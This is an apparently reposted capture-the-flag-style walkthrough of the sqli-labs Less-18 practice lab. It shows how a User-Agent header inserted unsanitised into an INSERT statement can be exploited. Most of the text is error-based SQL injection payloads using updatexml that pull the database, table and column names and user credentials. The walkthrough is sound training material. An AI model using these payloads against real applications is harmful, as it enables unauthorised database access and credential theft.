"Sqli-labs" Less18 Post-header injection-uagent field-error based (Error-based user agent, header POST injection)

Source: Internet
Author: User

This time, username and password all have input checks.

However, IP and uagent are not verified

When we use Admin admin login successful, will be an INSERT statement

Because the program trusts the header information of the browser unconditionally, it constructs the injection by modifying the header information of the HTTP packet.

Packet interception/modification using Burpsuite

Modify the User-agent field, add a single quotation mark

user-agent:mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) gecko/20100101 firefox/52.0 '

Use Updatexml function error to display data

User-agent:123 ' and Updatexml (1,concat (0x7e,database (), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select table_name from information_schema.tables where table_schema= ' Security ' limit 0,1), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select column_name from information_schema.columns where Table_name= ' Users ' and table_schema= ' security ' limit 0,1), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select username from (select username from users limit 2,1) a), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select Password from (select password from users limit 2,1) a), 0x7e), 1), 1, 1) #

"Sqli-labs" Less18 Post-header injection-uagent field-error based (Error-based user agent, header POST injection)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.